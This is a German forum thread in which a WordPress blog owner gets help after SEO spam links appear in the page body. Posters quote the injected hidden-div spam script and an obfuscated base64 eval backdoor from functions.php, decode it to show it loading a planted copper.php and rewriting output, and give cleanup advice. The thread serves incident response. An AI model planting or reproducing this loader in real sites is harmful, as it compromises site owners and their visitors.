Im Bodytag hat sich Werbung eingeschlichen

    Nabend,

    ich habe seit heute ein Problem auf welches ich freundlicherweise von einem anderen User hier im Board erfahren habe.

    Auf meiner Seite (siehe Signatur) hat sich im Bodytag werbung eingeschlichen für irgendwelchen Kram (Hotel, Casino usw) und ich habe das nicht hineingeschrieben. Nem Kumpel von mir is das heute aufgefallen, der bekommt das angezeigt und kann die Seite nicht weiter besuchen. Bei anderen Lesern meines Blogs erscheint die Seite ganz normal.

    Wie bekomme ich den faslchen Text aus meinem Bodytag wieder herraus?

    *** Edit ***
    hier noch ein Auszug ausm Quelltext

    Code
    ......
<meta name="generator" content="WordPress 2.7.1" />


</head>
<body><div id='emtop'><script>b='hid';c='den';d=0;a=document.getElementById('emtop');if(a){a.style.position='absolute';a.style.height=d+'px';a.style.overflow=b+c;}</script><!--290565542--><h5>FULL COLOR BUSINESS CARD</h5> <a href="http://www.darkartistsgallery.com/register.php/?item-id=284">full color business card</a><!--107133104--><h7>JOBS IN FORSYTH GA</h7> <a href="http://www.senna-gammour.com/gallery/displayimage.php/?item-id=335">jobs in forsyth ga</a><!--404881229--><h5>VITAMIN C FACE CREAM</h5> <a href="http://www.karolinedraxler.com/index.php/?take=50">vitamin c face cream</a><!--112355285--><h7>BAYLOR HOSPITAL DALLAS TEXAS</h7> <a href="http://photogalerie.grafikmurkser.de/index.php/?info-id=324">baylor hospital dallas texas</a><!--689419612--><h6>CENTRE COMMERCIAL LA PART DIEU</h6> <a href="http://ohanakupa.com/index.php/?help-about=190">centre commercial la part dieu</a><!--338347554--><h4>FREE FLIGHT SIMULATOR GAME</h4> <a href="http://www.ttc-bremgarten.ch/gallery/displayimage.php/?best=346">free flight simulator game</a><!--693937102--><h6>ADMINISTRACION DE LA SEGURIDAD SOCIAL</h6> <a href="http://www.zalesak.hlucin.com/index.php/?best=333">administracion de la seguridad social</a><!--338698810--><h5>COMPARE CAR INSURANCE PREMIUMS</h5> <a href="http://porkchopweb.com/displayimage.php/?solution=493">compare car insurance premiums</a><!--591289998--><h5>OBI WAN LIGHT SABER</h5> <a href="http://www.bicmag.com/galerija/index.php?page-id=116">obi wan light saber</a><!--434031260--><h1>FORMS TO FILL IN</h1> <a href="http://www.gallery.happyrajah.com/login.php/?page-about=417">forms to fill in</a><!--284604192--><h6>LAKE IN THE HILLS IL</h6> <a href="http://klub.gim36.pl/galeria/thumbnails.php/?solution=378">lake in the hills il</a><!--189677535--><h3>SLIK COMPACT XL TRIPOD</h3> <a href="http://vinets.free.fr/galeries-vinets/displayimage.php/?take=304">slik compact xl tripod</a><!--918071573--><h2>CANON 17 85 ZOOM</h2> <a href="http://foto.infosel.ru/?id-advise=457">canon 17 85 zoom</a><!--74991549--><h4>WEB HOSTING MULTIPLE DOMAINS</h4> <a href="http://www.artwork-unlimited.com/cpg148/displayimage.php/?id-advise=470">web hosting multiple domains</a><!--27762180--><h2>401K CATCH UP CONTRIBUTIONS</h2> <a href="http://192.192.155.219/photo/displayimage.php/?item-help=304">401k catch up contributions</a><!--926037439--><h1>HUSA IMPERIAL TARRACO HOTEL TARRAGONA</h1> <a href="http://www.otoolestavern.com/gallery/displayimage.php?help-about=297">husa imperial tarraco hotel tarragona</a><!--429746945--><h7>AUTHORIZE NET MERCHANT ACCOUNT</h7> <a href="http://www.british-gym.com/gallery/displayimage.php/?get-id=221">authorize net merchant account</a><!--692171288--><h2>4TH GRADE MATH WORKSHEETS</h2> <a href="http://luniversdebuffy.free.fr/gallerie/displayimage.php/?best=317">4th grade math worksheets</a><!--278509256--><h7>WHAT ARE TAX DEDUCTIONS</h7> <a href="http://tawaret.com/fotoszonapinhal/displayimage.php/?show-info=302">what are tax deductions</a><!--576399971--><h7>COLLINS DICTIONARY SPANISH ENGLISH</h7> <a href="http://www.danielchou.com/coppermine/displayimage.php/?item-help=231">collins dictionary spanish english</a><!--464948397--><h3>CANON DIGITAL CAMERA POWERSHOT A630</h3> <a href="http://www.games-online.net/index.php/?best=90">canon digital camera powershot a630</a><!--479735901--><h6>UNIVERSITY OF FLORIDA CAMPUS</h6> <a href="http://www.statonhouse.com/gallery/?get-id=130">university of florida campus</a><!--445290458--><h2>HITACHI MAGIC WAND UK</h2> <a href="http://www.maryestrellas.com/coppermine/displayimage.php?get-id=385">hitachi magic wand uk</a><!--702291581--><h6>D APPARTEMENTS DE PARTICULIERS</h6> <a href="http://zac.pictures.free.fr/?get-id=412">d appartements de particuliers</a><!--903375355--><h4>AEROPORTO LEONARDO DA VINCI</h4> <a href="http://www.ushuaiafreestyle.com/album/thumbnails.php/?advise=169">aeroporto leonardo da vinci</a><!--718883091--><h6>COLLEGE OF DIGITAL ARTS</h6> <a href="http://ash-tisdale.net/impeccable/thumbnails.php/?show-help=4">college of digital arts</a><!--311926714--><h1>ALL WORK AND NO PLAY</h1> <a href="http://www.friendlymantis.com/store/index.php/?take=280">all work and no play</a><!--529305501--><h5>COMMISSION FOR SOCIAL CARE</h5> <a href="http://galerie.alohomora.org/thumbnails.php/?show-page=338">commission for social care</a><!--832093778--><h3>HOW TO GET BIGGER</h3> <a href="http://www.badraun.ch/laz06/login.php/?show-id=135">how to get bigger</a><!--247746161--><h3>HORROR IN THE EAST</h3> <a href="http://mjbrits.com/displayimage.php/?page-info=364">horror in the east</a><!--189424024--><h3>BELLECLAIRE HOTEL IN NEW YORK</h3> <a href="http://www.pmlunited.com/gallery/displayimage.php/?item-info=251">belleclaire hotel in new york</a><!--466970913--><h6>NEW YORK BEEKMAN TOWER HOTEL</h6> <a href="http://luftbilder.ruhrgebiet.de/index.php/?show-info=95">new york beekman tower hotel</a><!--610244187--><h4>12 AMP UPRIGHT VACUUM</h4> <a href="http://volunteerstate.org/cpg1410/displayimage.php?show-page=254">12 amp upright vacuum</a><!--668361006--><h1>STRETCHES FOR BACK PAIN</h1> <a href="http://www.ecorley.com/?best=354">stretches for back pain</a><!--56163526--><h5>MISSION HILLS COMMUNITY COLLEGE</h5> <a href="http://cilin.dyndns.org/archives/images/misc/2009_new_year/_web_img_8354-rev.php?easy=438">mission hills community college</a><!--195073956--><h5>MOTHER OF THE BRIDE DISCOUNT</h5> <a href="http://www.pindiclub.com/imagepoetry/main.php/?easy=80">mother of the bride discount</a><!--801641275--><h1>WOLF LODGE NIAGARA FALLS</h1> <a href="http://www.dressprint.de/news.php/?info-id=146">wolf lodge niagara falls</a><!--16113479--><h5>CUSTOM MOTORCYCLES LOS ANGELES</h5> <a href="http://www.xterr.com/photos/displayimage.php/?item-id=324">custom motorcycles los angeles</a><!--4302101--><h5>MURRAY RIDING LAWN MOWER</h5> <a href="http://www.digitalspin.co.uk/gallery/thumbnails.php/?show-info=113">murray riding lawn mower</a><!--709796659--><h1>5.1 LOGITECH Z 5500</h1> <a href="http://60gp.ovh.net/~herbauge/photos/thumbnails.php/?advise-id=45">5.1 logitech z 5500</a><!--544240358--><h7>JOHN DEERE 1050 TRACTOR</h7> <a href="http://www.njcutkd.com/forumold/memberlist.php/?free=115">john deere 1050 tractor</a><!--837604734--><h4>LOCKHEED FEDERAL CREDIT UNION</h4> <a href="http://www.meeri.org/pildiraamat/coppermine/thumbnails.php?free=81">lockheed federal credit union</a><!--119863724--><h5>INTERNET PROVIDERS IN NEW YORK</h5> <a href="http://www.ifuwant2know.com/cpg/displayimage.php/?page-about=163">internet providers in new york</a><!--30955900--><h2>CONDO RENTALS IN FLORIDA</h2> <a href="http://pvdafranekeradeel.nl/index.php/?show-id=400">condo rentals in florida</a><!--265334407--><h7>SUBIC BAY FREEPORT PH</h7> <a href="http://sanymiss.free.fr/album/thumbnails.php?info-id=291">subic bay freeport ph</a><!--454330794--><h1>DRILLS FOR YOUTH SOCCER</h1> <a href="http://stumpy.slimsmind.com/stump_blog/?advise=29">drills for youth soccer</a><!--671253808--><h1>OXFORD READING TREE WORKSHEETS</h1> <a href="http://lesitecharmed.free.fr/gallery/gallery/displayimage.php?show-item=70">oxford reading tree worksheets</a><!--541199339--><h7>CHEAP FLIGHTS TO KARACHI</h7> <a href="http://210.71.63.2/displayimage.php/?show-item=285">cheap flights to karachi</a><!--431474627--><h1>BOOK A THEORY TEST DRIVING</h1> <a href="http://hvactechgroup.com/hvacgallery/main.php/?best=122">book a theory test driving</a><!--990739317--><h2>SOUTH BEACH MIAMI RESTAURANTS</h2> <a href="http://dasgallery.com/thumbnails.php/?get-id=399">south beach miami restaurants</a></div>
<div id="page">
.......
    • Gerade eben
    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

    Dein Blog ist gehackt worden.

    Sichere deine Datenbank, entferne alle Plugins und WordPress-Dateien. Suche in der Datenbank nach Schadcode, spiele ein frisches WordPress und alle Plugins neu ein. Ändere dein FTP-Passwort.

    Setze nach dem Hochladen die Rechte der Dateien und Verzeichnisse möglichst niedrig (ausprobieren), damit das nicht wieder passiert.

    Schau erst mal in den Codes von header und footer.php, evtl. auch functions.php, dort versteckt sich der Schadcode meistens und dort ist auch zu sehen wo sich die Inhalte in der Datenbank befinden

    Header und Footer sind sauber, in der Funktions hab ich folgendes gefunden

    PHP
    <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvd3d3L2h0ZG9jcy92MDgwNzMzL3dwL3dwLWluY2x1ZGVzL2pzL3RpbnltY2UvdGhlbWVzL2FkdmFuY2VkL2ltYWdlcy94cC9jb3BwZXIucGhwJykpe2luY2x1ZGVfb25jZSgnL3d3dy9odGRvY3MvdjA4MDczMy93cC93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9pbWFnZXMveHAvY29wcGVyLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOyRoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikpOyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTFNFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

    Hab das mal rausgelöscht, brachte aber keinen Erfolg

    Mein Blog besucht ihn doch mal!

    Nachtrag:
    auch in anderen diversen php dateien im theme ordner stand dieser code, wurde ebenfalls gelöscht. Durchforste momentan den kompletten webspace nach diesem code und entferne diesen

    Mein Blog besucht ihn doch mal!

    Mal in nen base64 decoder eingegeben:

    Code
    if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/www/htdocs/v080733/wp/wp-includes/js/tinymce/themes/advanced/images/xp/copper.php')){include_once('[COLOR=Red]/www/htdocs/v080733/wp/wp-includes/js/tinymce/themes/advanced/images/xp/copper.php[/COLOR]');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/\<body/si',$c)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}

    Nach der markierten Datei solltest Du auch suchen...

    P.S. Wenn man jetzt dein Blog aufruft, sind alle Daten frei zu lesen... das solltest Du dringend ändern!

    Zitat


    P.S. Wenn man jetzt dein Blog aufruft, sind alle Daten frei zu lesen... das solltest Du dringend ändern!

    das mein ich, hab ja schon diese rotgeschriebene sache entfernt und in allen dateien diesen eval code.
    ist jetz wieder alles beim alten, oder muss ich noch was tun?

    Mein Blog besucht ihn doch mal!

    Vermutlich hast du noch Reste vom Code in der Datenbank...
    Außerdem ist dein Layout verschoben, da muss glaube ich noch ein </div> weg.

    Code
    <div id="page">


<div id="header" onclick="location.href='http://www.ghost-online.net/wp';" style="cursor: pointer;">
</div>


   [COLOR=Red] </div>[/COLOR]
</div>

    P.S.: Zum einen sind Splash-Pages out, zum anderen heißt es "Zur Hom[COLOR=Red]e[/COLOR]page" :-|

    Ok, das mit dem div ist behoben, danke an der Stelle. Der andere Schreibfehler ist auch bearbeitet.

    Das neue Design ist ja in arbeit ;)

    Zuguterlezt: Wie bekomme ich dann den restlichen Code aus der DB?

    Mein Blog besucht ihn doch mal!

    Puh... das kann ich dir so auch nicht sagen. Der codierte Befehl lädt ja die Datei copper.php nach, vermutlich stand da drin wo der Code in der DB ist. Hast Du die Datei noch oder einfach nur gelöscht?

    Dann müsstest Du die Dateien dort mal durchgehen, allerdings sind die code-aufrufe wohl auch noch mal codiert.
    Der komplette Ordner /xp/ gehört dort übrigens nicht hin, wenn dort noch andere Dateien sind, gehören die auch zum dem Schrott.

    Ok der xp Ordner is auf vernichtet! Jetz scheint alles beim alten zu sein. Hab in der DB nichts gefunden. Werde aber nochmal durchgucken.

    Die Frage die ich mir Stelle, wie das ganze da rein gekommen ist :(

    Mein Blog besucht ihn doch mal!

    Zitat von ghost-online.net

    Die Frage die ich mir Stelle, wie das ganze da rein gekommen ist :(


    Vielleicht hast du Windows benutzt und Schadsoftware installiert, die alles mitliest. Oder du hast kein verschlüsseltes FTP verwendet. Oder ein einfaches Paßwort für WordPress oder den FTP-Zugang. Und/oder zu hohe Rechte auf dem Server vergeben.

    Es gibt viele Möglichkeiten. Falls du bei einem der genannten Punkte ›kann sein‹ gedacht hast, bemühe eine Suchmaschine deiner Wahl, und investiere mal zwei Stunden Lektüre. Langfristig sparst du damit viel Zeit. ;)

    Gruß
    Thomas

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!

Benutzerkonto erstellen Anmelden